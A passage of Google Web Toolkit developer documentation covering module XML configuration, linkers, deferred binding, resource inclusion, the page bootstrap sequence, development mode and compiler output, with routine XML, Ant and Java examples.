The <module> element supports an optional attribute rename-to that causes the compiler to behave as though the module had a different name than the long, fully-qualified name. Renaming a module has two primary use cases: • • to have a shorter module name that doesn't reflect the actual package structure, this is the most typical and recommended use case to create a "working module" to speed up development time by restricting the number of permutations

com.foo.WorkingModule.gwt.xml:
<module rename-to="com.foo.MyModule"> <inherits name="com.foo.MyModule" /> <set-property name="user.agent" value="ie6" /> <set-property name="locale" value="default" /> </module>

When WorkingModule.gwt.xml is compiled, the compiler will produce only an ie6 variant using the default locale; this will speed up development compilations. The output from the WorkingModule.gwt.xml will be a drop-in replacement for MyModule.gwt.xml because the compiler will generate the output using the alternate name. (Of course, if com.foo.MyModule was itself renamed, you would just copy its rename-to attribute.)

Dividing code into multiple modules
Creating a second module doesn't necessarily mean that that module must define an entry point. Typically, you create a new module when you want to package up a library of GWT code that you want to reuse in other GWT projects. An example of this is the Google API Library for Google Web Toolkit (GALGWT), specifically the Gears for GWT API binding. If you download the library and take a look at the gwt-google-apis/com/google/gwt/gears you'll find the Gears.gwt.xml file for the module which doesn't define an entry point. However, any GWT project that would like to use Gears for GWT will have to inherit the Gears.gwt.xml module. For example, a module named "Foo" might want to use GALGWT, so in Foo.gwt.xml an <inherits> entry would be needed:

168 / 469

<module> ... <inherits name='com.google.gwt.gears.Gears' />

Loading multiple modules in an HTML host page
If you have multiple GWT modules in your application, there are two ways to approach loading them. 1. Compile each module separately and include each module with a separate <script> tag in your HTML host page. 2. Create a top level module XML definition that includes all the modules you want to include. Compile the top level module to create a single set of JavaScript output. The first approach may seem the easiest and most obvious. However, the second approach will lead to much better enduser performance. The problem with loading multiple modules is that each module has to be downloaded separately by the end-user's browser. In addition, each module will contain redundant copies of GWT library code and could possibly conflict with each other during event handling. The second approach is strongly recommended.

Controlling compiler output
The GWT compiler separates the act of compiling and packaging its output with the Linker subsystem. It is responsible for the final packaging of the JavaScript code and providing a pluggable bootstrap mechanism for any particular deployment scenario. • <define-linker name="short_name" class="fully_qualified_class_name" /> : Register a new Linker instance with the compiler. The name attribute must be a valid Java identifier and is used to identify the Linker in <addlinker> tags. It is permissible to redefine an already-defined Linker by declaring a new <define-linker> tag with the same name. Linkers are divided into three categories, PRE, POST, and PRIMARY. Exactly one primary linker is run for a compilation. Pre-linkers are run in lexical order before the primary linker, and postlinkers are run in reverse lexical order after the primary linker. <add-linker name="linker_name" /> : Specify a Linker to use when generating the output from the compiler. The name property is a previously-defined Linker name. This tag is additive for pre- and post-linkers; only the last primary linker will be run.

Several linkers are provided by Core.gwt.xml, which is automatically inherited by User.gwt.xml. • • • std : The standard iframe-based bootstrap deployment model. xs : The cross-site deployment model. sso : This Linker will produce a monolithic JavaScript file. It may be used only when there is a single distinct compilation result.

From Core.gwt.xml:
<module> <define-linker name="std" class="com.google.gwt.dev.linker.IFrameLinker" /> <define-linker name="sso" class="com.google.gwt.dev.linker.SingleScriptLinker" /> <define-linker name="xs" class="com.google.gwt.dev.linker.XSLinker" /> <add-linker name="std" /> </module>

Changing the desired linker in MyModule.gwt.xml:
<module> <inherits name="com.google.gwt.core.Core" /> <add-linker name="xs" /> </module>

169 / 469

Overriding one package implementation with another
The <super-source> tag instructs the compiler to "re-root" a source path. This is useful for cases where you want to be re-use an existing Java API for a GWT project, but the original source is not available or not translatable. A common reason for this is to emulate part of the JRE not implemented by GWT. For example, suppose you want implement the UUID class provided by the JRE under java.util. Assume your project's module file is com/example/myproject/MyProject.gwt.xml. Place the source for the UUID class into com/example/myproject/jre/java/util/UUID.java. Then add a line to MyProject.gwt.xml:
<super-source path="jre" />

This tells the compiler to add all subfolders of com/example/myproject/jre/ to the source path, but to strip off the path prefix up to and including jre. As a result, com/google/myproject/gwt/jre/java/util/UUID.java will be visible to the compiler as java/util/UUID.java, which is the intended result. The GWT project uses this technique internally for the JRE emulation classes provided with GWT. One caveat specific to overriding JRE classes in this way is that they will never actually be used in development mode. In development mode, the native JRE classes always supercede classes compiled from source. The <super-source> element supports pattern-based filtering to allow fine-grained control over which resources get copied into the output directory during a GWT compile.

XML Element Reference
This section documents the most commonly used elements in the module XML file. • <inherits name="logical-module-name" /> : Inherits all the settings from the specified module as if the contents of the inherited module's XML were copied verbatim. Any number of modules can be inherited in this manner. See also this advice about deciding which modules to inherit. <entry-point class="classname" /> : Specifies an entry point class. Any number of entry-point classes can be added, including those from inherited modules. Entry points are all compiled into a single codebase. They are called sequentially in the order in which they appear in the module file. So when the onModuleLoad() of your first entry point finishes, the next entry point is called immediately. <source path="path" /> : Each occurrence of the <source> tag adds a package to the source path by combining the package in which the module XML is found with the specified path to a subpackage. Any Java source file appearing in this subpackage or any of its subpackages is assumed to be translatable. The <source> element supports pattern-based filtering to allow fine-grained control over which resources get copied into the output directory during a GWT compile. If no <source> element is defined in a module XML file, the client subpackage is implicitly added to the source path as if <source path="client" /> had been found in the XML. This default helps keep module XML compact for standard project layouts. • <public path="path" /> : Each occurrence of the <public> tag adds a package to the public path by combining the package in which the module XML is found with the specified path to identify the root of a public path entry. Any file appearing in this package or any of its subpackages will be treated as a publicly-accessible resource. The <public> element supports pattern-based filtering to allow fine-grained control over which resources get copied into the output directory during a GWT compile. If no <public> element is defined in a module XML file, the public subpackage is implicitly added to the public path as if <public path="public"> had been found in the XML. This default helps keep module XML compact for standard project layouts. • <servlet path="url-path" class="classname" /> : For RPC, this element loads a servlet class mounted at the specified URL path. The URL path should be absolute and have the form of a directory (for example, /calendar). Your client code then specifies this URL mapping by annotating the service interface with the @RemoteServiceRelativePath attribute. Any number of servlets may be loaded in this manner, including those from inherited modules. The <servlet> element applies only to GWT's embedded server server-side debugging feature.

170 / 469

Note: as of GWT 1.6, this tag does no longer loads servlets in development mode, instead you must configure a WEB-INF/web.xml in your war directory to load any servlets needed. • <script src="js-url" /> : Automatically injects the external JavaScript file located at the location specified by src. See automatic resource inclusion for details. If the specified URL is not absolute, the resource will be loaded from the module's base URL (in other words, it would most likely be a public resource). <stylesheet src="css-url" /> : Automatically injects the external CSS file located at the location specified by src. See automatic resource inclusion for details. If the specified URL is not absolute, the resource will be loaded from the module's base URL (in other words, it would most likely be a public resource). <extend-property name="client-property-name" values="comma-separated-values" /> : Extends the set of values for an existing client property. Any number of values may be added in this manner, and client property values accumulate through inherited modules. You will likely only find this useful for specifying locales in internationalization.

Elements for Deferred Binding
The following elements are used for defining deferred binding rules. Deferred binding is not commonly used in user projects. • • • <replace-with class="replacement_class_name"> : A directive to use deferred binding with replacement. <generate-with class="generator_class_name"> : A directive to use deferred binding using a Generator <define-property name="property_name" values="property_values"> : Define a property and allowable values (comma-separated identifiers). This element is typically used to generate a value that will be evaluated by a rule using a <when...> element. <set-property name="property_name" value="property_value"> : Set the value of a previously-defined property (see <define property> above). This element is typically used to generate a value that will be evaluated by a rule using a <when...> element. Note that set-property and property-provider on the same value will overwrite each other. The last definition encountered is the one that is used. <property-provider name="property_name"> : Define a JavaScript fragment that will return the value for the named property at runtime. This element is typically used to generate a value that will be evaluated in a <when...> element. To see examples of <property-provider> definitions in action, see the files I18N.gwt.xml and UserAgent.gwt.xml in the GWT source code. Note that set-property and property-provider on the same value will overwrite each other. The last definition encountered is the one that is used.

Defining conditions
The <replace-with-class> and <generate-with-class> elements can take a <when...> child element that defines when this rule should be used, much like the WHERE predicate of an SQL query. The three different types of predicates are: • • • <when-property-is name="property_name" value="value" /> : Deferred binding predicate that is true when a named property has a given value. <when-type-assignable class="class_name" /> : Deferred binding predicate that is true for types in the type system that are assignable to the specified type. <when-type-is class="class_name" /> : Deferred binding predicate that is true for exactly one type in the type system.

Several different predicates can be combined into an expression. Surround your <when...> elements using the following nesting elements begin/end tags: • • • <all> when_expressions </all> : Predicate that ANDs all child conditions. <any> when_expressions </any> : Predicate that ORs all child conditions. <none> when_expressions </none> : Predicate that NANDs all child conditions.

171 / 469

Deferred Binding Example
As an example module XML file that makes use of deferred binding rules, here is a module XML file from the GWT source code, Focus.gwt.xml:
<module> <inherits name="com.google.gwt.core.Core" /> <inherits name="com.google.gwt.user.UserAgent" /> <!-- old Mozilla, and Opera need a different implementation --> <replace-with class="com.google.gwt.user.client.ui.impl.FocusImplOld"> <when-type-is class="com.google.gwt.user.client.ui.impl.FocusImpl" /> <any> <when-property-is name="user.agent" value="gecko" /> <when-property-is name="user.agent" value="opera" /> </any> </replace-with> <!-- Safari needs a different hidden input --> <replace-with class="com.google.gwt.user.client.ui.impl.FocusImplSafari"> <when-type-is class="com.google.gwt.user.client.ui.impl.FocusImpl" /> <when-property-is name="user.agent" value="safari" /> </replace-with> <!-- IE's implementation traps exceptions on invalid setFocus() --> <replace-with class="com.google.gwt.user.client.ui.impl.FocusImplIE6"> <when-type-is class="com.google.gwt.user.client.ui.impl.FocusImpl" /> <any> <when-property-is name="user.agent" value="ie6" /> </any> </replace-with> </module>

4.1.5.

How do I know which GWT modules I need to inherit?

GWT libraries are organized into modules. The standard modules contain big pieces of functionality designed to work independently of each other. By selecting only the modules you need for your project (for example the JSON module rather than the XML module), you minimize complexity and reduce compilation time. Generally, you want to inherit at least the User module. The User module contains all the core GWT functionality, including the EntryPoint class. The User module also contains reusable UI components (widgets and panels) and support for the History feature, Internationalization, DOM programming, and more.

Standard Modules GWT 1.5
Module User HTTP JSON JUnit XML Logical Name com.google.gwt.user.User com.google.gwt.http.HTTP com.google.gwt.json.JSON com.google.gwt.junit.JUnit com.google.gwt.xml.XML Module Definition User.gwt.xml HTTP.gwt.xml JSON.gwt.xml JUnit.gwt.xml XML.gwt.xml Contents Core GWT functionality Low-level HTTP communications library JSON creation and parsing JUnit testing framework integration XML document creation and parsing

GWT 1.5 also provides several theme modules which contain default styles for widgets and panels. You can specify one theme in your project's module XML file to use as a starting point for styling your application, but you are not required to use any of them.

172 / 469

Themes
Module Chrome Dark Standard Logical Name com.google.gwt.user.theme.chrome.Chrome com.google.gwt.user.theme.dark.Dark com.google.gwt.user.theme.standard.Stand ard Module Definition Chrome.gwt.xml Dark.gwt.xml Standard.gwt.xml Contents Style sheet and images for the Chrome theme. Style sheet and images for the Dark theme. Style sheet and images for the Standard theme.

How To
To inherit a module, edit your project's module XML file and specify the logical name of the module you want to inherit in the <inherits> tag.
<inherits name="com.google.gwt.junit.JUnit"/>

Note: Modules are always referred to by their logical names. The logical name of a module is of the form pkg1.pkg2.ModuleName (although any number of packages may be present). The logical name includes neither the actual file system path nor the file extension.

4.1.6.

Automatic Resource Inclusion

Modules can contain references to external JavaScript and CSS files, causing them to be automatically loaded when the module itself is loaded. This can be handy if your module is intended to be used as a reusable component because your module will not have to rely on the HTML host page to specify an external JavaScript file or stylesheet.

Including External JavaScript
Script inclusion is a convenient way to automatically associate external JavaScript files with your module. Use the following syntax to cause an external JavaScript file to be loaded into the host page before your module entry point is called.
<script src="_js-url_"/>

The script is loaded into the namespace of the host page as if you had included it explicitly using the HTML <script> element. The script will be loaded before your onModuleLoad() is called. Versions of GWT prior to 1.4 required a script-ready function to determine when an included script was loaded. This is no longer required; all included scripts will be loaded when your application starts, in the order in which they are declared.

Including External Stylesheets
Stylesheet inclusion is a convenient way to automatically associate external CSS files with your module. Use the following syntax to cause a CSS file to be automatically attached to the host page.
<stylesheet src="_css-url_"/>

You can add any number of stylesheets this way, and the order of inclusion into the page reflects the order in which the elements appear in your module XML.

173 / 469

Relative vs. Absolute URL
If an absolute URL is specified in the src attribute, that URL will be used verbatim. However, if a non-absolute URL is used (for example, "foo.css"), the module's base URL is prepended to the resource name. This is identical to constructing an absolute URL using GWT.getModuleBaseURL() + "foo.css" in client code. This is useful when the target resource is from the module's public path.

Inclusion and Module Inheritance
Module inheritance makes resource inclusion particularly convenient. If you wish to create a reusable library that relies upon particular stylesheets or JavaScript files, you can be sure that clients of your library have everything they need automatically by inheriting from your module.

See Also
• Module XML Format

4.1.7.

Filtering Public and Source Packages

The module XML format's <public>, <source> and <super-source> elements supports certain attributes and nested elements to allow pattern-based inclusion and exclusion in the public path. These elements follow the same rules as Ant's FileSet element. Please see the documentation for FileSet for a general overview. These elements do not support the full FileSet semantics. Only the following attributes and nested elements are currently supported: • • • • • • The includes attribute The excludes attribute The defaultexcludes attribute The casesensitive attribute Nested include tags Nested exclude tags

Other attributes and nested elements are not supported.

Important
The default value of defaultexcludes is true. By default, the patterns listed here are excluded.

4.1.8.

The Bootstrap Sequence

Consider the following HTML page that loads a GWT module:
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <body onload='alert("w00t!")'> <img src='bigImageZero.jpg'></img> <script source='externalScriptZero.js'></script> <img src='bigImageOne.jpg'></img> <img src='reallyBigImageTwo.jpg'></img> <script src='myApp/myApp.nocache.js'></script> <script src='externalScriptOne.js'></script> </body> </html>

The following principles are needed to understand the sequence of operations that will occur in this page: • • • • <script> tags always block evaluation of the page until the script is fetched and evaluated. <img> tags do not block page evaluation. Most browsers will allow a maximum of two simultaneous connections for fetching resources. The body.onload() event will only fire once all external resources are fetched, including images and frames. 174 / 469

• •

The GWT selection script (i.e. myApp/myApp.nocache.js) will be fetched and evaluated like a normal script tag, but the compiled script will be fetched asynchronously. Once the GWT selection script has started, its onModuleLoad() can be called at any point after the outer document has been parsed.

Applying these principles to the above example, we obtain the following sequence: 1. The HTML document is fetched and parsing begins. 2. Begin fetching bigImageZero.jpg. 3. Begin fetching externalScriptZero.js. 4. bigImageZero.jpg completes (let's assume). Parsing is blocked until externalScriptZero.js is done fetching and evaluating. 5. externalScriptZero.js completes. 6. Begin fetching bigImageOne.jpg and reallyBigImageTwo.jpg simultaneously. 7. bigImageOne.jpg completes (let's assume again). myApp/myApp.nocache.js begins fetching and evaluating. 8. myApp/myApp.nocache.js completes, and the compiled script (<hashname>.cache.html) begins fetching in a hidden IFRAME (this is non-blocking). 9. <hashname>.cache.html completes. onModuleLoad() is not called yet, as we're still waiting on externalScriptOne.js to complete before the document is considered 'ready'. 10. externalScriptOne.js completes. The document is ready, so onModuleLoad() fires. 11. reallyBigImageTwo.jpg completes. 12. body.onload() fires, in this case showing an alert() box. This is a bit complex, but the point is to show exactly when various resources are fetched, and when onModuleLoad() will be called. The most important things to remember are that • • • • You want to put the GWT selection script as early as possible within the body, so that it begins fetching the compiled script before other scripts (because it won't block any other script requests). If you are going to be fetching external images and scripts, you want to manage your two connections carefully. <img> tags are not guaranteed to be done loading when onModuleLoad() is called. <script> tags are guaranteed to be done loading when onModuleLoad() is called.

A Note on Multiple GWT Modules and EntryPoints
If you have multiple EntryPoints (the interface that defines onModuleLoad()) within a module, they will all be called in sequence as soon as that module (and the outer document) is ready. If you are loading multiple GWT modules within the same page, each module's EntryPoint will be called as soon as both that module and the outer document is ready. Two modules' EntryPoints are not guaranteed to fire at the same time, or in the same order in which their selection scripts were specified in the host page.

175 / 469

4.2.

Compile & Debug

Let's start with the core principle of GWT development: 1. If your GWT application runs in development mode as you expect... 2. and the GWT compiler successfully compiles your application into JavaScript... 3. then your application will work the same way in a web browser as it did in development mode. The rest of this section introduces development mode (previously called "hosted mode") and production mode (previously called "web mode") and explains how and when to use each. 1. Debugging in Development Mode 1. Launching an application in development mode 2. GWT Development Mode 3. Launching a Browser 4. Generating debug messages in development mode: GWT.log() 5. Enabling internal GWT debug messages 6. Using an IDE with Development Mode 7. An Example Launch 8. Language differences between production mode and development mode 9. Using EJBs in development mode 10. Using my own server in development mode instead of GWT's built-in Jetty instance 11. Development Mode Options 2. Running in Production Mode 3. Understanding the GWT Compiler 1. Key application files 2. Public Resources 3. Perfect Caching 4. GWT Compiler Options

4.2.1.

Debugging in Development Mode

You will spend most of your development time running your application in development mode, which means that you are interacting with your GWT application without it having been translated into JavaScript. Anytime you edit, run, and debug applications from a Java integrated development environment (IDE), you are working in development mode. When an application is running in development mode, the Java Virtual Machine (JVM) is actually executing the application code as compiled Java bytecode, using GWT plumbing to connect to a browser window. This means that the debugging facilities of your IDE are available to debug both your client-side GWT code and any server-side Java code as well. By remaining in this traditional "code-test-debug" cycle, development mode is by far the most productive way to develop your application quickly. A typical development mode session can be seen below:

176 / 469

Launching an application in development mode
To launch a development mode session, from the command line run ant devmode, assuming you have an Ant build.xml file generated by webAppCreator. Tip: If you are using Eclipse, you can instead run the <app>.launch configuration file created by webAppCreator using the Run or Debug menus. If you didn't use webAppCreator, you can manually run the main class in com.google.gwt.dev.DevMode found in gwt-dev.jar. Important: If you are not using a generated launch config, be aware that GWT development mode looks for modules (and therefore client-side source) using the JVM's classpath. Make sure to add your source directories first in your classpath.

GWT Development Mode
Note: this section describes using development mode without the Google Plugin for Eclipse. The GWT Development Mode window opens up initially with two tabs. The first provides an interface to launching your GWT module(s) and logs that aren't specific to a particular module.

Serving the application
The second tab displays log messages from the embedded web server. By default, development mode runs an internal Jetty instance to serve your web application. This embedded Jetty instance serves directly out of your project's war directory. You can disable this internal server by passing the -noserver option to development mode and instead run your own external server. See FAQ "How do I use my own server in development mode instead of GWT's built-in server?"

177 / 469

Launching a Browser
As of GWT 2.0, development mode uses a regular browser instead of an embedded browser. You can use any supported browser, including ones on other machines, as long as it has the GWT Developer Plugin installed. If you use a browser that does not have the plugin installed, you will get a message with an offer to download the plugin. Browsers are typically opened automatically via the -startupUrl command line option (though GWT will try to find plausible startup URLs if you do not supply any). To launch an application, choose the URL you want to use, and choose Launch Default Browser. GWT uses a number of heuristics to determine which browser to use, but depending on your setup it may not launch the one you want. In that case, you can choose Copy to Clipboard and the URL you need to launch will be copied to the system clipboard (and will also be shown in the log window). You can then paste this URL into any browser with the plugin installed, or you can type in the URL to a browser on a different machine (in which case you will have to change the host names in the URL as necessary).

When a module is loaded in a browser, you will see a new tab which contains the the logs for one URL in a particular browser. If there are multiple modules on one page, there will be a drop-down box to select which module's logs are shown. When you refresh a page, there is a session drop-down box which lets you select which session's logs to show.

Refreshing development mode
You do not need to restart development mode after modifying your source code. Instead, with Development Mode still running, edit client code or resources, save your changes, then refresh the page in your browser. On refresh, your code is recompiled with the changes and the new version is loaded into the browser. Refreshing the browser is much faster than closing and restarting Development Mode. You might notice that sometimes your changes take effect even if you do not refresh the browser. This behavior is a result of the way development mode interacts with the compiled code, but it is not always reliable. Specifically, it only happens when you make minor changes to existing functions and the IDE is able to replace the running code. To ensure your changes are included, make it a habit to always refresh the browser after making changes.

178 / 469

Reloading server code
Similarly, the Restart Server button in the Jetty tab allows you to restart the embedded Jetty server without having to close and restart Development Mode. This is useful when you have made configuration or code changes to your server side code. All server side classes will be reloaded from scratch with fresh code for your war/WEB-INF/classes and war/WEB-INF/lib folders. If you are getting an IncompatibleRemoteServiceException in development mode while using RPC, try restarting the server and refreshing the client.

Generating debug messages in development mode: GWT.log()
Debugging messages are displayed within the Development Mode log window. Some of these messages are from GWT. However, you can generate your own debug messages by using calls to GWT.log(). For example, modifying the standard project to emit a debug message inside the ClickHandler results in a debug message displaying on the log window whenever the user clicks the button.
import com.google.gwt.core.client.GWT; ... button.addClickHandler(new ClickHandler() { public void onClick(ClickEvent event) { GWT.log("User Pressed a button.", null); // Added debugging message if (label.getText().equals("")) label.setText("Hello World!"); else label.setText(""); } });

Calls to GWT.log() are intended just for use while debugging your application. They are optimized out in production mode. For example, consider the following change to the onClick() method intended to intentionally trigger an exception:

179 / 469

public void onClick(Widget sender) { GWT.log("User pressed a button.", null); Object nullObject = null; nullObject.toString(); // Should cause NullPointerException

When the application encounters an exception, a message is printed on the module's log window. The exception is highlighted with a red icon. In this example, when you click on the button in the browser window, a NullPointerException is triggered and the back trace for the exception displays in the status area below the log area. Clicking on the exception message or icon displays the full text of the exception in the message area below.

180 / 469

Enabling internal GWT debug messages
The log window can display more verbose debugging if you invoke it by specifying the -logLevel command-line argument. Specifying the level of SPAM turns on many messages inside of the GWT engine. These messages are displayed in a hierarchical tree which can be manipulated by clicking on individual lines or by using the Expand All and Collapse All icons in the toolbar.

Using an IDE with Development Mode
When using an IDE such as Eclipse, JBuilder, or IntelliJ, it is easy to use the IDE's built-in Java debugger to debug your module. Simply set a breakpoint somewhere inside your code, (such as the onModuleLoad() entry point) where you want the debugger to stop and let you inspect the state of your program. For an example of debugging in development mode using the Eclipse IDE, see the Getting Started tutorial, Debugging a GWT Application.

An Example Launch
Let's look behind the scenes when you launch your GWT application in development mode. To run development mode, you start a Java VM using the main class com.google.com.gwt.dev.DevMode. If you look inside a generated ant build.xml, you'll find something like this:
<target name="devmode" depends="javac" description="Run development mode"> <java failonerror="true" fork="true" classname="com.google.gwt.dev.DevMode"> <classpath> <pathelement location="src"/> <path refid="project.class.path"/> </classpath> <jvmarg value="-Xmx256M"/> <arg value="-startupUrl"/> <arg value="Hello.html"/> <!-- Additional arguments like -style PRETTY or -logLevel DEBUG --> <arg value="com.google.gwt.sample.hello.Hello"/> </java> </target>

181 / 469

This is similar to running the following command on the command line:
java -Xmx256M -cp "src;war/WEB-INF/classes;\gwt-2.0.0\gwt-user.jar;\gwt-2.0.0\gwt-dev.jar" com.google.gwt.dev.DevMode -startupUrl Hello.html com.google.gwt.sample.hello.Hello

The -startupUrl parameter tells Development Mode which URL(s) to make available for launching. If the value excludes the domain, the domain is assumed to be localhost. The port is assumed to be the port running the embedded server. In the example above, this address is http://localhost:8888/Hello.html (with an additional parameter giving the location of the development mode code server). The final parameter (the one at the end with no flag preceding it) is the module or set of modules we care about. This value is required in order to correctly initialize the war directory with bootstrap scripts for any GWT modules you may wish to run.

Language differences between production mode and development mode
Typically, if your code runs as intended in development mode and compiles to JavaScript without error, production mode behavior will be equivalent. Occasional different problems can cause subtle bugs to appear in production mode that don't appear in development mode. Fortunately those cases are rare. A full list of known language-related "gotchas" is available in the GWT documentation.

Using EJBs in development mode
GWT provides the -noserver option to the development mode shell script for this sort of thing. The -noserver option instructs development mode to not start the embedded Jetty instance. In its place, you would run the J2EE container of your choice and simply use that in place of the embedded Jetty instance.

Using my own server in development mode instead of GWT's built-in Jetty instance
If you do not need to use, or prefer not to use, the Jetty instance embedded in GWT's development mode to serve up your servlets for debugging, you can use the -noserver flag to prevent Jetty from starting, while still taking advantage of development mode for debugging your GWT client code. If you need the -noserver option, it is likely because your server-side code that handles your XMLHTTPRequest data requests requires something more, or just something different than Jetty. Here are some example cases where you might need to use -noserver: • • • You need an EJB container, which the embedded Jetty server does not support. You have an extensive Servlet configuration (with custom web.xml and possibly server.xml files) that is too inconvenient to use with the embedded Jetty. You are not using J2EE on the server at all (for example, you might be using JSON with Python).

When using the -noserver flag, your external server is used by the GWT Development Mode browser to serve up both your dynamic content, and all static content (such as the GWT application's host page, other HTML files, images, CSS, and so on.) This allows you to structure your project files in whatever way is most convenient to your application and infrastructure. Though your own external server handles all static content and dynamic resources, all browser application logic continues to be handled in Java, internal to development mode. This means that you can continue to debug your clientside code in Java as usual, but all server-side requests will be served by your web or application server of choice. (If you are using an IDE such as Eclipse configured to integrate with GWT's development mode for debugging, then using -noserver will prevent you from automatically debugging your server code in the same debugger instance you use to debug development mode. However, if the server software you use supports it, you can of course use an external debugging tools.) Here is a step-by-step description of how to use -noserver: 1. Configure your server however you need to; note the URL which contains the host page for your GWT application. 2. Arrange all your static content files (such as the host HTML page, images, CSS, etc.) on the server however you like. 182 / 469

3. Edit your development mode execution script (such as your Eclipse run configuration or the ant development build target generated by the GWT webAppCreator) and add or update the following options: • Add the -noserver command line argument. • Change the URL at the end of the argument list to match the URL you recorded in step #1. 4. Compile your application once using the ant build target. Ideally, you can use GWT's -war option to generate output files directly into your external server's static content folder. Otherwise, you'll need to copy the the GWT output folder from war/<moduleName> to your external server's static content. Be careful not to omit copying the files in Step #4: This is an action you'll only have to do once, but is a necessary step. However, one important point to note is that you may need to replace the .gwt.rpc file if your application uses GWT RPC and if the types that your application serializes across the wire implement the java.io.Serializable interface. If these types are changed, or new serializable types are added to your RPC calls, the GWT compiler will generate a new .gwt.rpc file. You will need to replace the old file deployed on your web server with the newly generated file. However, if your web server targets the GWT compiler's war output directory as the war directory for your application, you will not need to re-compile for these changes, and development mode will take care of generating and correctly placing the *.gwt.rpc file.

Development Mode Options
There are many options you can pass to the development mode process to control how you want to start up the development mode browser. These options can differ slightly from version to version, but will generally include the options shown in the command-line help text below:
$ java -cp gwt-dev.jar com.google.gwt.dev.HostedMode Missing required argument 'module[s]' Google Web Toolkit 2.3.0 DevMode [-noserver] [-port port-number | "auto"] [-whitelist whitelist-string] [-blacklist blacklist-string] [-logdir directory] [-logLevel level] [-gen dir] [-bindAddress host-name-oraddress] [-codeServerPort port-number | "auto"] [-server servletContainerLauncher[:args]] [startupUrl url] [-war dir] [-deploy dir] [-extra dir] [-workDir dir] module[s] where -noserver Prevents the embedded web server from running -port Specifies the TCP port for the embedded web server (defaults to 8888) -whitelist Allows the user to browse URLs that match the specified regexes (comma or space separated) -blacklist Prevents the user browsing URLs that match the specified regexes (comma or space separated) -logdir Logs to a file in the given directory, as well as graphically -logLevel The level of logging detail: ERROR, WARN, INFO, TRACE, DEBUG, SPAM, or ALL -gen Debugging: causes normally-transient generated types to be saved in the specified directory -bindAddress Specifies the bind address for the code server and web server (defaults to 127.0.0.1) -codeServerPort Specifies the TCP port for the code server (defaults to 9997) -server Specify a different embedded web server to run (must implement ServletContainerLauncher) -startupUrl Automatically launches the specified URL -war The directory into which deployable output files will be written (defaults to 'war') -deploy The directory into which deployable but not servable output files will be written (defaults to 'WEB-INF/deploy' under the -war directory/jar, and may be the same as the -extra directory/jar) -extra The directory into which extra files, not intended for deployment, will be written -workDir The compiler's working directory for internal use (must be writeable; defaults to a system temp dir) and module[s] Specifies the name(s) of the module(s) to host

Any time you want to look up the development mode options available for your version of GWT, you can simply invoke the DevMode class from command-line as shown above and it will list out the options available along with their descriptions. (Run the command from the directory containing gwt-dev.jar or add the path ahead of that file: -cp path/gwt-dev.jar.)

183 / 469

4.2.2.

Running in Production Mode

After you have your application working well in development mode, you will want to try out your application in your target web browsers; that is, you want to run it in production mode. Running your application in production mode allows you to test your application as it is deployed. If you have a servlet component specified in your web.xml file, your GWT RPC calls will also be served to the browser. You can also take a different browser or a browser running on another machine and point it at the same URL (substitute the hostname or IP address of your workstation for localhost in the URL.) Running in production mode is a good way to test: The performance of your application Development mode uses a special engine to run your app as a mix of both Java bytecode and native JavaScript. If your code makes many calls back and forth between Java and and JavaScript, your code may seem slower in development mode than it will actually be in production mode. This can be particularly true of UI code. On the other hand, intense algorithmic pure Java code will tend to run faster in development mode, since the JVM outperforms most JavaScript engines. If your application displays lots of data or has a large number of widgets, you will want to confirm that performance will be acceptable when the application is finally deployed. How your application looks on different browsers Because GWT widgets use a browser's native DOM components, the look and feel of your application might change from browser to browser. More importantly, if you are using a style sheet, you will want to inspect your application carefully on each browser. How your application logic performs on different browsers GWT is designed to provide cross-browser support so that the average GWT developer does not need to worry about cross-browser support. But if you are a widget author or if you are using a third party JavaScript library, you will need to confirm that these components are working correctly on each target browser you plan to support.

4.2.3.

Understanding the GWT Compiler

The heart of GWT is a compiler that converts Java source into JavaScript, transforming your working Java application into an equivalent JavaScript application. The GWT compiler supports the vast majority of the Java language. The GWT runtime library emulates a relevant subset of the Java runtime library. If a JRE class or method is not supported, the compiler will emit an error. You can run the compiler with the name of the module you want to compile in one of the following manners: • • • Run the main class com.google.gwt.dev.Compiler using java from the command-line. If you used the webAppCreator script to create your project, you can use Ant to run the generated build.xml. If you are using the Google Plugin for Eclipse, you can compile your application by clicking GWT Compile Project button .

Once compilation completes sucessfully, directories will be created containing the JavaScript implementation of your project. The compiler will create one directory for each module it compiles.
C:\gwt-2.0.0\samples\Hello>ant Buildfile: build.xml libs: javac: gwtc: [java] Compiling module com.google.gwt.sample.hello.Hello [java] Compiling 5 permutations [java] Permutation compile succeeded [java] Linking into war [java] Link succeeded [java] Compilation succeeded -- 20.313s build: BUILD SUCCESSFUL Total time: 22 seconds

After running the GWT compiler your war directory should look something like this:

184 / 469

C:\gwt-2.0.0\samples\Hello>\bin\find war war war\hello war\hello\18EEC2DA45CB5F0C2050E2539AE61FCE.cache.html war\hello\813B962DC4C22396EA14405DDEF020EE.cache.html war\hello\86DA1DCEF4F40731BE71E7978CD4776A.cache.html war\hello\A37FC20FF4D8F11605B2C4C53AF20B6F.cache.html war\hello\E3C1ABB32E39A126A9194DB727F7742A.cache.html war\hello\14A43CD7E24B0A0136C2B8B20D6DF3C0.cache.png war\hello\548CDF11D6FE9011F3447CA200D7FB7F.cache.png war\hello\9DA92932034707C17CFF15F95086D53F.cache.png war\hello\A7CD51F9E5A7DED5F85AD1D82BA67A8A.cache.png war\hello\B8517E9C2E38AA39AB7C0051564224D3.cache.png war\hello\clear.cache.gif war\hello\hello.nocache.js war\hello\hosted.html war\Hello.html

In the above example, war/hello/hello.nocache.js is the script you would include in a host HTML page to load the Hello application. In this case, the host HTML page is located at war/Hello.html and loads the GWT startup script through the relative URL hello/hello.nocache.js. You may have noticed in the compilation target in the build.xml file generated by the webAppCreator uses the war output directory as both an input and output source. This doesn't have to be the case, and you can easily configure the war directory as the output directory only, while using other directories as source directory paths by adding build targets to copy static resources from the source to the final output directory. See this war directory FAQ for more details. The other thing you may have noticed is that there are a number of other files generated along with the GWT compiler output. Of these there are a few that are key to deploying your application.

Key application files
After running the GWT compiler, you'll find the output in the WAR, or Web Archive, folder with the following structure:

If you've worked with GWT prior to the 1.6 release, the files in the war/hello directory are familiar to you. The only difference is where these files are now generated, and the fact that the host HTML page and CSS files are not in the same directory as the rest of the .cache.html/png files. The path where these files are generated is controlled by the GWT module XML file. These are the key applications files to deploy you GWT application on your web server. 185 / 469

